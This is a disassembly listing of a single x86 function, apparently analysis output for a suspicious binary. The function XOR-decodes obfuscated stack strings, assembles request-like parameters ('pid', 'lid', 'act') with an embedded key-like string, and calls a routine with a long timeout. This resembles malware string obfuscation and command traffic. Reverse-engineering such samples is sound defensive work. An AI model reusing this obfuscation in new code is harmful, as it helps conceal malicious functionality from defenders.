Function at 0x409880
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x104
cmp dword [ecx + 0x20], 0
je 0x409c01
mov esi, ecx
lea eax, [ecx + 0x10]
push eax
call fcn.00406140
add esp, 4
mov edx, dword [esi + 0x10]
mov eax, dword [esi + 0x58]
mov eax, dword [eax + 0x48]
mov dword [esp + 8], eax
movzx eax, byte [esi]
imul ecx, eax, 0xcd
shr ecx, 0xa
and ecx, 0xfffffffe
lea ecx, [ecx + ecx*4]
sub al, cl
movzx eax, al
movzx eax, byte [eax + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [esp + 2], al
mov byte [esp + 3], 0
mov dword [esp + 4], edx
lea eax, [edx + 0x400]
push eax
call fcn.00408300
add esp, 4
mov edi, eax
mov dword [esp + 0x68], 0xba444b43
mov byte [esp + 0x6c], 0xdf
mov eax, 0x7057ffc3
nop
nop
nop
movzx ecx, byte [esp + eax - 0x7057ff5b]
xor ecx, eax
lea edx, [ecx + 0xe7]
mov ebx, ecx
not ebx
and ebx, 1
and ecx, 1
and edx, 0xfe
or edx, ecx
lea ecx, [edx + ebx*2]
mov byte [esp + eax - 0x7057ff5b], cl
inc eax
cmp eax, 0x7057ffc8
jne 0x409900
lea ebx, [esp + 0x68]
mov ecx, esi
push 0x4421d4
push ebx
push edi
call fcn.004091d0
mov dword [esp + 0x68], 0x646970
lea eax, [esp + 2]
mov ecx, esi
push eax
push ebx
push edi
call fcn.004091d0
mov eax, dword [str.MeHdy4__pl2vs08]
mov dword [esp + 0x68], 0x64696c
mov ecx, esi
push eax
push ebx
push edi
call fcn.004091d0
mov dword [esp + 0x68], 0xfff4fceb
mov dword [esp + 0x6c], 0xecfbf0c3
mov dword [esp + 0x70], 0xc6c5c0d3
mov byte [esp + 0x74], 0x24
xor eax, eax
mov cl, 0x27
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x68]
xor dl, cl
mov ch, 0x3f
sub ch, dl
mov byte [esp + eax + 0x68], ch
inc eax
dec cl
cmp eax, 0xd
jne 0x4099a0
mov dword [esp + 0xe], 0x746361
lea eax, [esp + 0xe]
mov ecx, esi
push ebx
push eax
push edi
call fcn.004091d0
mov dword [esp + 0x68], 0x1d1b1f03
mov byte [esp + 0x6c], 0xb9
xor eax, eax
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x68]
lea edx, [eax + 0x5bed76cd]
and edx, ecx
add edx, edx
neg edx
add edx, eax
add edx, 0x5bed76cd
lea ebp, [edx + ecx]
not ebp
and ebp, 1
add ecx, edx
add ecx, 0x97
or ecx, 1
add ecx, ebp
mov byte [esp + eax + 0x68], cl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 5
jb 0x4099e0
mov ecx, esi
push dword [esp + 4]
push dword [esp + 0xc]
push ebx
push edi
call fcn.00409440
mov dword [esp + 0xe], 0x9e029cd8
mov dword [esp + 0x12], 0x92059001
mov dword [esp + 0x16], 0x960b94f6
mov dword [esp + 0x1a], 0x8ad48803
mov dword [esp + 0x1e], 0x8e048cff
mov dword [esp + 0x22], 0x82e4801f
mov dword [esp + 0x26], 0x86a584c9
mov dword [esp + 0x2a], 0xba2cb81a
mov dword [esp + 0x2e], 0xbe29bc27
mov dword [esp + 0x32], 0xb221b026
mov dword [esp + 0x36], 0xb627b4d2
mov dword [esp + 0x3a], 0xaaf6a823
mov dword [esp + 0x3e], 0xae32accd
mov dword [esp + 0x42], 0xa23ca03d
mov dword [esp + 0x46], 0xa6c1a4fe
mov dword [esp + 0x4a], 0xda4dd8c6
mov dword [esp + 0x4e], 0xde96dcba
mov dword [esp + 0x52], 0xd2b3d0ff
mov dword [esp + 0x56], 0xd640d44c
mov dword [esp + 0x5a], 0xcaadc849
mov dword [esp + 0x5e], 0xce5fccaa
mov dword [esp + 0x62], 0xc28cc046
mov word [esp + 0x66], 0xc4c3
xor eax, eax
nop
nop
nop
nop
mov ecx, eax
add cl, 0x83
xor cl, byte [esp + eax + 0xe]
add cl, 0xe8
mov byte [esp + eax + 0xe], cl
inc eax
cmp eax, 0x5a
jne 0x409af0
movzx eax, word [esp + 0xe]
test ax, ax
je 0x409b31
lea ebx, [esp + 0x68]
lea ecx, [esp + 0x10]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ebx], ax
add ebx, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x409b20
mov dword [esp + 4], edi
mov word [ebx], 0
movzx ecx, byte [esi + 0x60]
test cl, cl
je 0x409b61
lea eax, [esi + 0x61]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movsx ecx, cl
mov word [ebx], cx
add ebx, 2
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x409b50
mov dword [ebx], 0xa000d
mov word [ebx + 4], 0
mov eax, dword [esi + 0x80]
mov dword [esp + 0xe], 0x42e04010
mov dword [esp + 0x12], 0x46dc44d3
mov word [esp + 0x16], 0xb847
xor ecx, ecx
xor edx, edx
nop
nop
mov ebx, ecx
and ebx, 0xe
mov ebp, edx
xor ebp, 0xf109ebf7
mov edi, ebx
and edi, ebp
xor ebp, ebx
lea ebx, [edi*2]
add ebx, ebp
xor bl, byte [esp + edx + 0xe]
add bl, 0x48
mov byte [esp + edx + 0xe], bl
inc edx
add ecx, 2
cmp edx, 0xa
jne 0x409b90
lea ecx, [esp + 0x68]
push 0x493e0
push eax
mov edi, dword [esp + 0xc]
push edi
push 0
push 0
push ecx
lea eax, [esp + 0x26]
push eax
call fcn.0040bfe0
add esp, 0x1c
mov ebx, eax
push edi
call fcn.00408310
add esp, 4
mov eax, dword [esi + 0x80]
add dword [esi + 4], eax
mov dword [esi + 0x80], 0
jmp 0x409c03
mov bl, 1
mov eax, ebx
add esp, 0x104
pop esi
pop edi
pop ebx
pop ebp
ret